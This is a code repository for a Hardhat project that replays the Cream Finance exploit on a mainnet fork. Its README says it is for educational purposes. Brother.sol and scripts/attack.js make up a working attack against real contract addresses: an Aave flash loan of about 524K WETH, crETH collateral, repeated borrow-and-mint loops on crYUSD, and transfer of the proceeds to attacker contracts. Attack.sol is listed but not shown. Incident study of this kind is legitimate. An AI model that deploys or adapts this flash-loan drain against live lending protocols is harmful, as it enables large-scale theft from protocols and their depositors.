├── contracts ├── interfaces │ ├── IUSDT.sol │ ├── IYVaultPeak.sol │ ├── IcrETH.sol │ ├── IcrYUSD.sol │ ├── IStableSwapCompound.sol │ ├── IyUSD.sol │ ├── IWETH.sol │ ├── aave │ │ ├── ILendingPoolAddressesProvider.sol │ │ ├── IFlashLoanReceiver.sol │ │ ├── ILendingPool.sol │ │ └── FlashLoanReceiverBase.sol │ ├── IUnitroller.sol │ ├── IySwap.sol │ ├── IyDAI.sol │ ├── Uniswap.sol │ ├── compound │ │ ├── InterestRateModel.sol │ │ ├── ComptrollerInterface.sol │ │ └── CTokenInterfaces.sol │ ├── IERC3156FlashBorrower.sol │ └── IERC3156FlashLender.sol ├── Brother.sol └── Attack.sol ├── .gitignore ├── README.md ├── package.json ├── hardhat.config.js └── scripts ├── config.js └── attack.js /contracts/interfaces/IUSDT.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IUSDT { 3 | function transfer(address _to, uint _value) external; 4 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | 7 | #Hardhat files 8 | cache 9 | artifacts 10 | -------------------------------------------------------------------------------- /contracts/interfaces/IYVaultPeak.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IYVaultPeak { 3 | function redeemInYusd(uint dusdAmount, uint minOut) external; 4 | } -------------------------------------------------------------------------------- /contracts/interfaces/IcrETH.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IcrETH { 3 | function mint() external payable; 4 | function borrow(uint borrowAmount) external returns (uint); 5 | } -------------------------------------------------------------------------------- /contracts/interfaces/IcrYUSD.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IcrYUSD { 3 | function mint(uint mintAmount) external returns (uint); 4 | 5 | function borrow(uint borrowAmount) external returns (uint); 6 | } -------------------------------------------------------------------------------- /contracts/interfaces/IStableSwapCompound.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | interface IStableSwapCompound { 4 | function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256); 5 | } -------------------------------------------------------------------------------- /contracts/interfaces/IyUSD.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IyUSD { 3 | function deposit(uint256 _amount) external; 4 | function withdraw() external returns (uint256); 5 | function totalAssets() external returns (uint256); 6 | } -------------------------------------------------------------------------------- /contracts/interfaces/IWETH.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IWETH { 3 | function deposit() external payable; 4 | 5 | function transfer(address to, uint value) external returns (bool); 6 | 7 | function withdraw(uint) external; 8 | } -------------------------------------------------------------------------------- /contracts/interfaces/aave/ILendingPoolAddressesProvider.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8; 3 | 4 | interface ILendingPoolAddressesProvider { 5 | function getLendingPool() external view returns (address); 6 | } -------------------------------------------------------------------------------- /contracts/interfaces/IUnitroller.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IUnitroller { 3 | function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); 4 | function getAccountLiquidity(address account) external returns (uint, uint, uint); 5 | } -------------------------------------------------------------------------------- /contracts/interfaces/IySwap.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IySwap { 3 | function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; 4 | function remove_liquidity_imbalance(uint256[4] memory amounts, uint256 max_burn_amount) external; 5 | 6 | function get_y(int128 i, int128 j, uint256 x, uint256[4] memory _xp) external returns (uint256); 7 | } -------------------------------------------------------------------------------- /contracts/interfaces/aave/IFlashLoanReceiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8; 3 | 4 | interface IFlashLoanReceiver { 5 | function executeOperation( 6 | address[] calldata assets, 7 | uint[] calldata amounts, 8 | uint[] calldata premiums, 9 | address initiator, 10 | bytes calldata params 11 | ) external returns (bool); 12 | } 13 | -------------------------------------------------------------------------------- /contracts/interfaces/IyDAI.sol: -------------------------------------------------------------------------------- 1 | 2 | interface IyDAI { 3 | function deposit(uint256 _amount) external; 4 | 5 | function withdraw(uint256 _shares) external; 6 | 7 | function approve(address spender, uint256 amount) external returns (bool); 8 | 9 | function balanceOf(address account) external view returns (uint256); 10 | 11 | function getPricePerFullShare() external returns (uint256); 12 | } -------------------------------------------------------------------------------- /contracts/interfaces/aave/ILendingPool.sol: -------------------------------------------------------------------------------- 1 | 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8; 4 | 5 | interface ILendingPool { 6 | function flashLoan( 7 | address receiverAddress, 8 | address[] calldata assets, 9 | uint[] calldata amounts, 10 | uint[] calldata modes, 11 | address onBehalfOf, 12 | bytes calldata params, 13 | uint16 referralCode 14 | ) external; 15 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cream Finance Exploit Example 2 | 3 | Disclaimer: This project is for educational purposes only. The author has no relationship to the exploiter or the exploit that happened. 4 | 5 | 6 | 7 | How to Run: 8 | 9 | Add you Alchemy key api to .env file. 10 | E.g: ALCHEMY_API_KEY=https://eth-mainnet.alchemyapi.io/v2/key-goes-here 11 | 12 | then 13 | 14 | ```shell 15 | npm install 16 | npx hardhat run scripts/attack.js 17 | ``` 18 | -------------------------------------------------------------------------------- /contracts/interfaces/Uniswap.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | interface ISwapRouter { 5 | struct ExactOutputSingleParams { 6 | address tokenIn; 7 | address tokenOut; 8 | uint24 fee; 9 | address recipient; 10 | uint256 deadline; 11 | uint256 amountOut; 12 | uint256 amountInMaximum; 13 | uint160 sqrtPriceLimitX96; 14 | } 15 | 16 | function exactOutputSingle(ISwapRouter.ExactOutputSingleParams calldata params) external returns (uint256 amountIn); 17 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "cream-finance-exploit-example", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "devDependencies": { 13 | "@nomiclabs/hardhat-ethers": "^2.0.2", 14 | "@nomiclabs/hardhat-waffle": "^2.0.1", 15 | "@openzeppelin/contracts": "^4.3.2", 16 | "chai": "^4.3.4", 17 | "dotenv": "^10.0.0", 18 | "ethereum-waffle": "^3.4.0", 19 | "ethers": "^5.5.1", 20 | "hardhat": "^2.6.7" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /contracts/interfaces/aave/FlashLoanReceiverBase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; 6 | 7 | import "./IFlashLoanReceiver.sol"; 8 | import "./ILendingPoolAddressesProvider.sol"; 9 | import "./ILendingPool.sol"; 10 | 11 | abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { 12 | using SafeERC20 for IERC20; 13 | 14 | ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER; 15 | ILendingPool public immutable LENDING_POOL; 16 | 17 | constructor(ILendingPoolAddressesProvider provider) { 18 | ADDRESSES_PROVIDER = provider; 19 | LENDING_POOL = ILendingPool(provider.getLendingPool()); 20 | } 21 | } -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomiclabs/hardhat-waffle"); 2 | require('dotenv').config() 3 | 4 | // This is a sample Hardhat task. To learn how to create your own go to 5 | // https://hardhat.org/guides/create-task.html 6 | task("accounts", "Prints the list of accounts", async (taskArgs, hre) => { 7 | const accounts = await hre.ethers.getSigners(); 8 | 9 | for (const account of accounts) { 10 | console.log(account.address); 11 | } 12 | }); 13 | 14 | // You need to export an object to set up your config 15 | // Go to https://hardhat.org/config/ to learn more 16 | 17 | ALCHEMY_API_KEY = process.env.ALCHEMY_API_KEY 18 | 19 | /** 20 | * @type import('hardhat/config').HardhatUserConfig 21 | */ 22 | module.exports = { 23 | solidity: { 24 | compilers: [ 25 | { 26 | version: "0.8.4", 27 | settings: {}, 28 | }, 29 | ], 30 | }, 31 | networks: { 32 | hardhat: { 33 | forking: { 34 | url: ALCHEMY_API_KEY, 35 | blockNumber: 13499797, // block number before attack 36 | } 37 | } 38 | }, 39 | }; 40 | -------------------------------------------------------------------------------- /contracts/interfaces/compound/InterestRateModel.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8; 2 | 3 | /** 4 | * @title Compound's InterestRateModel Interface 5 | * @author Compound 6 | */ 7 | abstract contract InterestRateModel { 8 | /// @notice Indicator that this is an InterestRateModel contract (for inspection) 9 | bool public constant isInterestRateModel = true; 10 | 11 | /** 12 | * @notice Calculates the current borrow interest rate per block 13 | * @param cash The total amount of cash the market has 14 | * @param borrows The total amount of borrows the market has outstanding 15 | * @param reserves The total amount of reserves the market has 16 | * @return The borrow rate per block (as a percentage, and scaled by 1e18) 17 | */ 18 | function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint); 19 | 20 | /** 21 | * @notice Calculates the current supply interest rate per block 22 | * @param cash The total amount of cash the market has 23 | * @param borrows The total amount of borrows the market has outstanding 24 | * @param reserves The total amount of reserves the market has 25 | * @param reserveFactorMantissa The current reserve factor the market has 26 | * @return The supply rate per block (as a percentage, and scaled by 1e18) 27 | */ 28 | function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint); 29 | 30 | } 31 | -------------------------------------------------------------------------------- /scripts/config.js: -------------------------------------------------------------------------------- 1 | const WETH = {address: "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", decimals: 18} 2 | const fourYPool = {address: "0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8", decimals: 18} 3 | const XSUSHI = {address: "0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272", decimals: 18} 4 | const WNXM = {address: "0x0d438F3b5175Bebc262bF23753C1E53d03432bDE", decimals: 18} 5 | const PERP = {address: "0xbC396689893D065F41bc2C6EcbeE5e0085233447", decimals: 18} 6 | const Rune = {address: "0x3155BA85D5F96b2d030a4966AF206230e46849cb", decimals: 18} 7 | const DPI = {address: "0x1494CA1F11D487c2bBe4543E90080AeBa4BA3C2b", decimals: 18} 8 | const UNI = {address: "0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984", decimals: 18} 9 | const USDC = {address: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", decimals: 6} 10 | const FEI = {address: "0x956F47F50A910163D8BF957Cf5846D573E7f87CA", decimals: 18} 11 | const USDT = {address: "0xdAC17F958D2ee523a2206206994597C13D831ec7", decimals: 6} 12 | const YVCurvestETH = {address: "0xdCD90C7f6324cfa40d7169ef80b12031770B4325", decimals: 18} 13 | const GNO = {address: "0x6810e776880C02933D47DB1b9fc05908e5386b96", decimals: 18} 14 | const FTT = {address: "0x50D1c9771902476076eCFc8B2A83Ad6b9355a4c9", decimals: 18} 15 | const YGG = {address: "0x25f8087EAD173b73D6e8B84329989A8eEA16CF73", decimals: 18} 16 | 17 | module.exports = { 18 | WETH, 19 | fourYPool, 20 | XSUSHI, 21 | WNXM, 22 | PERP, 23 | Rune, 24 | DPI, 25 | UNI, 26 | USDC, 27 | FEI, 28 | USDT, 29 | YVCurvestETH, 30 | GNO, 31 | FTT, 32 | YGG, 33 | } -------------------------------------------------------------------------------- /contracts/interfaces/IERC3156FlashBorrower.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-or-later 2 | // Copyright (C) 2021 Dai Foundation 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU Affero General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU Affero General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU Affero General Public License 15 | // along with this program. If not, see . 16 | 17 | pragma solidity >=0.6.12; 18 | 19 | interface IERC3156FlashBorrower { 20 | 21 | /** 22 | * @dev Receive a flash loan. 23 | * @param initiator The initiator of the loan. 24 | * @param token The loan currency. 25 | * @param amount The amount of tokens lent. 26 | * @param fee The additional amount of tokens to repay. 27 | * @param data Arbitrary data structure, intended to contain user-defined parameters. 28 | * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan" 29 | */ 30 | function onFlashLoan( 31 | address initiator, 32 | address token, 33 | uint256 amount, 34 | uint256 fee, 35 | bytes calldata data 36 | ) external returns (bytes32); 37 | } 38 | -------------------------------------------------------------------------------- /contracts/interfaces/IERC3156FlashLender.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-or-later 2 | // Copyright (C) 2021 Dai Foundation 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU Affero General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU Affero General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU Affero General Public License 15 | // along with this program. If not, see . 16 | 17 | pragma solidity >=0.6.12; 18 | 19 | import "./IERC3156FlashBorrower.sol"; 20 | 21 | interface IERC3156FlashLender { 22 | 23 | /** 24 | * @dev The amount of currency available to be lent. 25 | * @param token The loan currency. 26 | * @return The amount of `token` that can be borrowed. 27 | */ 28 | function maxFlashLoan( 29 | address token 30 | ) external view returns (uint256); 31 | 32 | /** 33 | * @dev The fee to be charged for a given loan. 34 | * @param token The loan currency. 35 | * @param amount The amount of tokens lent. 36 | * @return The amount of `token` to be charged for the loan, on top of the returned principal. 37 | */ 38 | function flashFee( 39 | address token, 40 | uint256 amount 41 | ) external view returns (uint256); 42 | 43 | /** 44 | * @dev Initiate a flash loan. 45 | * @param receiver The receiver of the tokens in the loan, and the receiver of the callback. 46 | * @param token The loan currency. 47 | * @param amount The amount of tokens lent. 48 | * @param data Arbitrary data structure, intended to contain user-defined parameters. 49 | */ 50 | function flashLoan( 51 | IERC3156FlashBorrower receiver, 52 | address token, 53 | uint256 amount, 54 | bytes calldata data 55 | ) external returns (bool); 56 | } 57 | -------------------------------------------------------------------------------- /scripts/attack.js: -------------------------------------------------------------------------------- 1 | 2 | const { 3 | WETH, 4 | fourYPool, 5 | XSUSHI, 6 | WNXM, 7 | PERP, 8 | Rune, 9 | DPI, 10 | UNI, 11 | USDC, 12 | FEI, 13 | USDT, 14 | YVCurvestETH, 15 | GNO, 16 | FTT, 17 | YGG, 18 | } = require("./config") 19 | 20 | const AAVE_LENDING_POOL_PROVIDER = "0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5" 21 | 22 | async function getTokenBalance(token, signer) { 23 | contract = await ethers.getContractAt("IERC20", token.address, signer) 24 | const balance = await contract.balanceOf(signer.address) 25 | return ethers.utils.formatUnits(balance, token.decimals) 26 | } 27 | 28 | async function main() { 29 | const blockNumber = await ethers.provider.getBlockNumber() 30 | console.log('Block number: ', blockNumber) 31 | 32 | 33 | const [owner] = await ethers.getSigners() 34 | 35 | const Attack = await ethers.getContractFactory("Attack") 36 | const attack = await Attack.deploy() 37 | await attack.deployed() 38 | console.log('Deployed Attack contract to: ', attack.address) 39 | 40 | const Brother = await ethers.getContractFactory("Brother") 41 | const brother = await Brother.deploy(attack.address, AAVE_LENDING_POOL_PROVIDER) 42 | await brother.deployed() 43 | console.log('Deployed Brother contract to: ', brother.address) 44 | 45 | const tx = await attack.start(brother.address) 46 | 47 | console.log('Owner balances after exploit: ') 48 | console.log('WETH ', await getTokenBalance(WETH, owner)) 49 | console.log('fourYPool ', await getTokenBalance(fourYPool, owner)) 50 | console.log('XSUSHI ', await getTokenBalance(XSUSHI, owner)) 51 | console.log('WNXM ', await getTokenBalance(WNXM, owner)) 52 | console.log('PERP ', await getTokenBalance(PERP, owner)) 53 | console.log('Rune ', await getTokenBalance(Rune, owner)) 54 | console.log('DPI ', await getTokenBalance(DPI, owner)) 55 | console.log('UNI ', await getTokenBalance(UNI, owner)) 56 | console.log('USDC ', await getTokenBalance(USDC, owner)) 57 | console.log('FEI ', await getTokenBalance(FEI, owner)) 58 | console.log('USDT ', await getTokenBalance(USDT, owner)) 59 | console.log('YVCurvestETH ', await getTokenBalance(YVCurvestETH, owner)) 60 | console.log('GNO ', await getTokenBalance(GNO, owner)) 61 | console.log('FTT ', await getTokenBalance(FTT, owner)) 62 | console.log('YGG ', await getTokenBalance(YGG, owner)) 63 | } 64 | 65 | 66 | main() 67 | .then(() => process.exit(0)) 68 | .catch((error) => { 69 | console.error(error); 70 | process.exit(1); 71 | }); -------------------------------------------------------------------------------- /contracts/interfaces/compound/ComptrollerInterface.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8; 2 | 3 | abstract contract ComptrollerInterface { 4 | /// @notice Indicator that this is a Comptroller contract (for inspection) 5 | bool public constant isComptroller = true; 6 | 7 | /*** Assets You Are In ***/ 8 | 9 | function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory); 10 | function exitMarket(address cToken) external virtual returns (uint); 11 | 12 | /*** Policy Hooks ***/ 13 | 14 | function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint); 15 | function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual; 16 | 17 | function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint); 18 | function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual; 19 | 20 | function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint); 21 | function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual; 22 | 23 | function repayBorrowAllowed( 24 | address cToken, 25 | address payer, 26 | address borrower, 27 | uint repayAmount) external virtual returns (uint); 28 | function repayBorrowVerify( 29 | address cToken, 30 | address payer, 31 | address borrower, 32 | uint repayAmount, 33 | uint borrowerIndex) external virtual; 34 | 35 | function liquidateBorrowAllowed( 36 | address cTokenBorrowed, 37 | address cTokenCollateral, 38 | address liquidator, 39 | address borrower, 40 | uint repayAmount) external virtual returns (uint); 41 | function liquidateBorrowVerify( 42 | address cTokenBorrowed, 43 | address cTokenCollateral, 44 | address liquidator, 45 | address borrower, 46 | uint repayAmount, 47 | uint seizeTokens) external virtual; 48 | 49 | function seizeAllowed( 50 | address cTokenCollateral, 51 | address cTokenBorrowed, 52 | address liquidator, 53 | address borrower, 54 | uint seizeTokens) external virtual returns (uint); 55 | function seizeVerify( 56 | address cTokenCollateral, 57 | address cTokenBorrowed, 58 | address liquidator, 59 | address borrower, 60 | uint seizeTokens) external virtual; 61 | 62 | function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint); 63 | function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual; 64 | 65 | /*** Liquidity/Liquidation Calculations ***/ 66 | 67 | function liquidateCalculateSeizeTokens( 68 | address cTokenBorrowed, 69 | address cTokenCollateral, 70 | uint repayAmount) external virtual view returns (uint, uint); 71 | } 72 | -------------------------------------------------------------------------------- /contracts/Brother.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.8; 3 | 4 | import "@openzeppelin/contracts/access/Ownable.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | import "./Attack.sol"; 7 | import "./interfaces/IWETH.sol"; 8 | import "./interfaces/aave/FlashLoanReceiverBase.sol"; 9 | import "./interfaces/IcrETH.sol"; 10 | import "./interfaces/IUnitroller.sol"; 11 | import "./interfaces/IcrYUSD.sol"; 12 | 13 | 14 | import "hardhat/console.sol"; 15 | 16 | contract Brother is Ownable, FlashLoanReceiverBase { 17 | 18 | address payable brother; 19 | 20 | address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 21 | uint256 WETH_AMOUNT = 524102159298234706604104; // 500K WETH 22 | 23 | address crETH = 0xD06527D5e56A3495252A528C4987003b712860eE; 24 | address crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4; 25 | address yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3; 26 | 27 | // Unitroller 28 | address UnitrollerAddress = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; 29 | 30 | modifier onlyBrother { 31 | require(msg.sender == brother, "Not my brother"); 32 | _; 33 | } 34 | 35 | constructor(address payable _brother, ILendingPoolAddressesProvider _addressProvider) 36 | FlashLoanReceiverBase(_addressProvider) 37 | { 38 | brother = _brother; 39 | } 40 | 41 | fallback () external payable {} 42 | 43 | function flashLoanAAVE() external onlyBrother { 44 | // Don't know why exploiter queried this? 45 | (uint err, uint liquidity, uint shortfall) = IUnitroller(UnitrollerAddress).getAccountLiquidity(brother); 46 | 47 | address receiver = address(this); 48 | 49 | address[] memory assets = new address[](1); 50 | assets[0] = WETH; 51 | 52 | uint[] memory amounts = new uint[](1); 53 | amounts[0] = WETH_AMOUNT; 54 | 55 | uint[] memory modes = new uint[](1); 56 | modes[0] = 0; 57 | 58 | address onBehalfOf = address(this); 59 | 60 | bytes memory params = ""; 61 | uint16 referralCode = 0; 62 | 63 | LENDING_POOL.flashLoan( 64 | receiver, 65 | assets, 66 | amounts, 67 | modes, 68 | onBehalfOf, 69 | params, 70 | referralCode 71 | ); 72 | 73 | moveFunds(); 74 | } 75 | 76 | function executeOperation( 77 | address[] calldata assets, 78 | uint[] calldata amounts, 79 | uint[] calldata premiums, 80 | address initiator, 81 | bytes calldata params 82 | ) external override returns (bool) { 83 | require(initiator == address(this), "Untrusted loan initiator"); 84 | 85 | continueAttack(); 86 | 87 | 88 | // Approve for repay 89 | for (uint i = 0; i < assets.length; i++) { 90 | uint amountOwing = amounts[i] + premiums[i]; 91 | IERC20(assets[i]).approve(address(LENDING_POOL), amountOwing); 92 | } 93 | 94 | return true; 95 | } 96 | 97 | function continueAttack() internal { 98 | uint sendAmount = 6000 * 1e18; 99 | uint remainAmount = WETH_AMOUNT - sendAmount; 100 | IWETH(WETH).transfer(brother, sendAmount); 101 | IWETH(WETH).withdraw(remainAmount); 102 | 103 | // mint crETH 104 | IcrETH(payable(crETH)).mint{value: remainAmount}(); 105 | address[] memory cTokens = new address[](1); 106 | cTokens[0] = crETH; 107 | // use crETH as collateral 108 | IUnitroller(UnitrollerAddress).enterMarkets(cTokens); 109 | // borrow yUSD from Cream 110 | uint yUSDBalanceInCream = IERC20(yUSD).balanceOf(crYUSD); 111 | IcrYUSD(crYUSD).borrow(yUSDBalanceInCream); 112 | uint yUSDBalance = IERC20(yUSD).balanceOf(address(this)); 113 | // mint crYUSD using yUSD 114 | IERC20(yUSD).approve(crYUSD, yUSDBalance); 115 | IcrYUSD(crYUSD).mint(yUSDBalance); 116 | uint crYUSDBalance = IERC20(crYUSD).balanceOf(address(this)); 117 | // transfer crYUSD to main attack contract 118 | IERC20(crYUSD).transfer(brother, crYUSDBalance); 119 | // borrow yUSD from Cream again! 120 | // Remember that by minting crYUSD the yUSD got transferred 121 | // back to Cream so we can borrow it again 122 | IcrYUSD(crYUSD).borrow(yUSDBalanceInCream); 123 | yUSDBalance = IERC20(yUSD).balanceOf(address(this)); 124 | // mint crYUSD using yUSD again! 125 | IERC20(yUSD).approve(crYUSD, yUSDBalance); 126 | IcrYUSD(crYUSD).mint(yUSDBalance); 127 | crYUSDBalance = IERC20(crYUSD).balanceOf(address(this)); 128 | // transfer crYUSD to main attack contract again! 129 | IERC20(crYUSD).transfer(brother, crYUSDBalance); 130 | // borrow yUSD from Cream for the third time and transfer to main attack contract 131 | IcrYUSD(crYUSD).borrow(yUSDBalanceInCream); 132 | yUSDBalance = IERC20(yUSD).balanceOf(address(this)); 133 | IERC20(yUSD).transfer(brother, yUSDBalance); 134 | 135 | // In total we transferred 1B crYUSD & 500M yUSD to main contract 136 | Attack(brother).continueAttack(); 137 | } 138 | 139 | function moveFunds() internal { 140 | IERC20(WETH).transfer(owner(), IERC20(WETH).balanceOf(address(this))); 141 | } 142 | } -------------------------------------------------------------------------------- /contracts/interfaces/compound/CTokenInterfaces.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8; 2 | 3 | import "./ComptrollerInterface.sol"; 4 | import "./InterestRateModel.sol"; 5 | 6 | contract CTokenStorage { 7 | /** 8 | * @dev Guard variable for re-entrancy checks 9 | */ 10 | bool internal _notEntered; 11 | 12 | /** 13 | * @notice EIP-20 token name for this token 14 | */ 15 | string public name; 16 | 17 | /** 18 | * @notice EIP-20 token symbol for this token 19 | */ 20 | string public symbol; 21 | 22 | /** 23 | * @notice EIP-20 token decimals for this token 24 | */ 25 | uint8 public decimals; 26 | 27 | /** 28 | * @notice Maximum borrow rate that can ever be applied (.0005% / block) 29 | */ 30 | 31 | uint internal constant borrowRateMaxMantissa = 0.0005e16; 32 | 33 | /** 34 | * @notice Maximum fraction of interest that can be set aside for reserves 35 | */ 36 | uint internal constant reserveFactorMaxMantissa = 1e18; 37 | 38 | /** 39 | * @notice Administrator for this contract 40 | */ 41 | address payable public admin; 42 | 43 | /** 44 | * @notice Pending administrator for this contract 45 | */ 46 | address payable public pendingAdmin; 47 | 48 | /** 49 | * @notice Contract which oversees inter-cToken operations 50 | */ 51 | ComptrollerInterface public comptroller; 52 | 53 | /** 54 | * @notice Model which tells what the current interest rate should be 55 | */ 56 | InterestRateModel public interestRateModel; 57 | 58 | /** 59 | * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) 60 | */ 61 | uint internal initialExchangeRateMantissa; 62 | 63 | /** 64 | * @notice Fraction of interest currently set aside for reserves 65 | */ 66 | uint public reserveFactorMantissa; 67 | 68 | /** 69 | * @notice Block number that interest was last accrued at 70 | */ 71 | uint public accrualBlockNumber; 72 | 73 | /** 74 | * @notice Accumulator of the total earned interest rate since the opening of the market 75 | */ 76 | uint public borrowIndex; 77 | 78 | /** 79 | * @notice Total amount of outstanding borrows of the underlying in this market 80 | */ 81 | uint public totalBorrows; 82 | 83 | /** 84 | * @notice Total amount of reserves of the underlying held in this market 85 | */ 86 | uint public totalReserves; 87 | 88 | /** 89 | * @notice Total number of tokens in circulation 90 | */ 91 | uint public totalSupply; 92 | 93 | /** 94 | * @notice Official record of token balances for each account 95 | */ 96 | mapping (address => uint) internal accountTokens; 97 | 98 | /** 99 | * @notice Approved token transfer amounts on behalf of others 100 | */ 101 | mapping (address => mapping (address => uint)) internal transferAllowances; 102 | 103 | /** 104 | * @notice Container for borrow balance information 105 | * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action 106 | * @member interestIndex Global borrowIndex as of the most recent balance-changing action 107 | */ 108 | struct BorrowSnapshot { 109 | uint principal; 110 | uint interestIndex; 111 | } 112 | 113 | /** 114 | * @notice Mapping of account addresses to outstanding borrow balances 115 | */ 116 | mapping(address => BorrowSnapshot) internal accountBorrows; 117 | } 118 | 119 | abstract contract CTokenInterface is CTokenStorage { 120 | /** 121 | * @notice Indicator that this is a CToken contract (for inspection) 122 | */ 123 | bool public constant isCToken = true; 124 | 125 | 126 | /*** Market Events ***/ 127 | 128 | /** 129 | * @notice Event emitted when interest is accrued 130 | */ 131 | event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); 132 | 133 | /** 134 | * @notice Event emitted when tokens are minted 135 | */ 136 | event Mint(address minter, uint mintAmount, uint mintTokens); 137 | 138 | /** 139 | * @notice Event emitted when tokens are redeemed 140 | */ 141 | event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); 142 | 143 | /** 144 | * @notice Event emitted when underlying is borrowed 145 | */ 146 | event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); 147 | 148 | /** 149 | * @notice Event emitted when a borrow is repaid 150 | */ 151 | event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); 152 | 153 | /** 154 | * @notice Event emitted when a borrow is liquidated 155 | */ 156 | event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); 157 | 158 | 159 | /*** Admin Events ***/ 160 | 161 | /** 162 | * @notice Event emitted when pendingAdmin is changed 163 | */ 164 | event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); 165 | 166 | /** 167 | * @notice Event emitted when pendingAdmin is accepted, which means admin is updated 168 | */ 169 | event NewAdmin(address oldAdmin, address newAdmin); 170 | 171 | /** 172 | * @notice Event emitted when comptroller is changed 173 | */ 174 | event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); 175 | 176 | /** 177 | * @notice Event emitted when interestRateModel is changed 178 | */ 179 | event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); 180 | 181 | /** 182 | * @notice Event emitted when the reserve factor is changed 183 | */ 184 | event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); 185 | 186 | /** 187 | * @notice Event emitted when the reserves are added 188 | */ 189 | event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); 190 | 191 | /** 192 | * @notice Event emitted when the reserves are reduced 193 | */ 194 | event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); 195 | 196 | /** 197 | * @notice EIP20 Transfer event 198 | */ 199 | event Transfer(address indexed from, address 